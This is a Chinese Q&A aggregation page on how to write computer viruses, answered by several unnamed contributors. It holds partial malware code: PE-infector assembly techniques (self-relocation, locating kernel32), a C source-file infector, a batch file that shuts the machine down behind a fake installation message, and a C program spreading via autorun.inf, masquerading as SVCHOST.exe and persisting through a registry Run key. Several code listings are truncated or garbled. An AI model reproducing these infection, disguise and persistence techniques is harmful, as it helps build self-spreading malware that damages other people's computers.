病毒編程
⑴ 怎麼編寫病毒程序
問題一:如何編寫程序病毒? 那首先要對系統底層的東西比較熟悉,如果編網路病毒,還要對網路協議很了解。並且要精通至少一門編程語言,一般寫病毒用a *** (匯編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但匯編知識是寫高級病毒必須的知識。
問題二:如何寫一個簡單的病毒程序? 前些天學病毒這門技術著實吃了很多苦頭,走了很多彎路,盡管按我的知識水平,病毒已經是水到渠成的學習內容了。但是我現在學了入門才發現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到「牛」的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多「專業」,多了些贅述。
在你看之前,你應該知道這只是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好准備個PE表在旁邊。寫病毒程序可以使用很多種語言來寫比如C,匯編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程序的還是匯編語言。匯編語言底層,靈活,速度快,體積小的優勢能將一個病毒程序發揮到極至,通常一個程序寫出來才幾千位元組就包含了所有的功能。一般一個病毒都有如下幾個功能:
一 代碼重定位
二 自己找到所需API地址
三 搜索文件、目錄
四 感染文件
五 破壞系統或文件(隨便你了)
其中一,二項功能是必要的,五項功能是可選的。而一個病毒程序感染文件的功能是它的核心,是衡量它質量的重要標准。
(一)代碼的重定位
一個變數或函數其實是一個內存地址,在編譯好後,程序中的指令通過變數或函數的內存地址再去存取他們,這個地址是個絕對地址。如果你將代碼插入到其他任何地方,再通過原來編譯時產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程序時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程序基地址,以後變數和函數作為偏移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏匯編語言寫病毒,請盡量使用ebx做基地址指針,不要使用ebp,因為ebp在調用帶參數的函數時會改變。
(二)自己取得所需的API地址
一個win32程序文件,所調用的API函數地址,是由系統填入到程序文件中描述各類數據位置的數據結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程序時沒有把這些描述數據存放位置的數據結構信息也弄進去。它 *** 入到其他目標程序後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程序文件就包含了我們需要的東西,我們需要自己去找。目標程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜索的用戶進程空間也有2GB。在2GB中搜索,太嚇人了。總不能在執行被感染的目標程序時,先讓用戶喝杯茶吧?或者斗鬥地主?這里有兩個技巧向大家介紹。
在程序被載入後,載入程序會調用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程序還沒執行,堆棧區里就有了一個返回地址了,這個返回地址指向的是載入程序,而載入程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個位元組一個位元組的挨者找,而是一個頁面一個頁面地找。因為win3......>>
問題三:怎麼用C語言寫個簡單病毒,給個代碼過程 首先聲明:
本程序是我舉的一個例子
為了叫大家理解就可以了
如果大家拿去捉弄人,我不負任何責任!
希望大家要以學習為重!
對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的
我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享
不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定
用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,
再次聲明這一切全是為了編程研究!!!
病毒的特點:
病毒的最大特點就是自我復制,從病毒的分類來說有很多種,這里我們將介紹最流行的附加式
病毒,它通過對正常的文件進行改寫,增加來實現其自我復制的目的。
從程序的角度來說,我們要做的事情有兩件:
1,讓程序能夠將自己在不影響其它程序本身工作的情況下復制給其它程序,
使它具備繼續復制的能力。
2,在一定條件下使其產生某種發作效果。
其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染
文件的最後,同時在被感染文件中調用這個函數
下面給出c語言的實現過程:
1,主程序調用病毒功能函數
2,病毒功能函數讀取查找同目錄下所有c文件;
3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變數;
4,重新創建一個同名文件(被感染c文件)
5,數組變數寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數
調用語句寫入;
6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;
這樣一個簡單的c語言偽病毒virus.c就完成了
運行程序後其內容變化另保存為after_virus.c
此時,如果我們將1.c文件用A盤復制到其他機器或者Email給別人,結果
他們一運行又感染了他們保存1.c文件目錄下所有c文件
對於第二件事情-------「發作效果」,這里只用printf語句警告了一下,當然你
完全可以寫一個TSR駐留函數
其實,這個程序勉強可以叫做病毒
根本不算是真正的病毒,好了就說這么多,
代碼如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......>>
問題四:病毒一般用什麼語言編寫的? 由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
問題五:怎樣編寫簡單,對系統無害的病毒文件? 雙擊這個文件後就會關機,無毒無害。
這是代碼:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那個0是打開這個文件後多少秒關機(0就是立即關機,10就是打開文件10秒後關機), 引號中的字(Loading Installation,Please Wait...)可以隨意更改(只是引號裡面的,別把引號給刪了)。
問題六:怎樣編寫病毒 3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,......>>
問題七:怎麼用C語言編寫木馬.病毒等程序 嘿嘿給你個類病毒C程序源碼,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......>>
問題八:怎麼編輯木馬病毒程序 很高興為您解答:
製作並且傳播木馬都是違法行為,況且在你製作的時候可能會有人利用這漏洞對你的電腦產生危害,到時候就得不償失拉
建議下其他騰訊電腦管家,開啟所有防護,避免有人利用病毒或是木馬來危害新的電腦以及帳號的全全
1、騰訊電腦管家獨有的二代反病毒引擎,防護查殺更徹底
2、騰訊電腦管家擁有全球最大的雲庫平台,能更好的識別詐騙、釣魚網站
3、騰訊電腦管家獨創鷹眼模式,時刻保護您的愛機不受侵害
4、騰訊電腦管家獨有的安全等級,您可以時刻查看你愛機的安全狀態
5、新增廣告過濾功能,有效減輕廣告騷擾。
祝樓主祝您工作、生活愉快!!
問題九:病毒的編寫是用的什麼原理? 在計算機領域中,它是一種基於遠程式控制制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具 *** 置,往往只能望「馬」興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作許可權,包括修改文件,修改注冊表,控制滑鼠,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。
從木馬的發展來看,基本上可以分為兩個階段。
最初網路還處於以UNIX平台為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網路和編程知識。
而後隨著WINDOWS平台的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無秘密可言。
二、木馬原理
[編輯本段]
鑒於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的了解。
【一、基礎知識 】
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬體部分,軟體部分和具體連接部分組成。
(1)硬體部分:建立木馬連接所必須的硬體實體。 控制端:對服務端進行遠程式控制制的一方。 服務端:被控制端遠程式控制制的一方。 INTERNET:控制端對服務端進行遠程式控制制,數據傳輸的網路載體。
(2)軟體部分:實現遠程式控制制所必須的軟體程序。 控制端程序:控制端用以遠程式控制制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作許可權的程序。 木馬配置程序:設置木馬程序的埠號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網路地址,也是木馬進行數據傳輸的目的地。 控制端埠,木馬埠:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。
用木馬這種黑客工具進行網路入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。
一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端盡可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製埠,自我銷毀等,我們將在「傳播木馬」這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在「信息反饋」這一節中詳細介紹。
【二、傳播木馬】.
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟體下載,一些非正規的網站以提供軟體下載為名義, 將木馬捆綁在軟體安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方......>>
問題十:有源代碼,怎樣編寫病毒程序? 您好:
建議您不要編寫或使用病毒程序,病毒程序會對您的電腦造成損害的,如果您曾使用過此類不安全的病毒程序的話,為了您電腦的安全,建議您使用騰訊電腦管家對您的電腦進行一下全面的殺毒吧,打開騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤查殺就可以,您可以點擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載
騰訊電腦管家企業平台:./c/guanjia/
⑵ 簡單的病毒編程代碼是什麼
編寫的計算機程序代碼統稱為惡意代碼。惡意代碼定義一:惡意代碼又稱惡意軟體。
首先,病毒要有感染機制,即它能夠實現繁殖自身。其次,病毒要有有效載荷觸發事件,即病毒要找到一定數量的感染體、或者某一日期、或者在碰到某一段文本後才能發作。
所謂的病毒代碼其實可以想像成是犯人的指紋, 當防毒軟體公司收集到一隻新的病毒時, 他們就會從這個病毒程序中截取一小段獨一無二而且足以表示這只病毒的二進位程序碼 (Binary Code) , 來當做殺毒程序辨認此病毒的依據。
而這段獨一無二的二進位程序碼就是所謂的病毒代碼。病毒代碼它可以把計算機程序打亂,使計算機無法正常使用。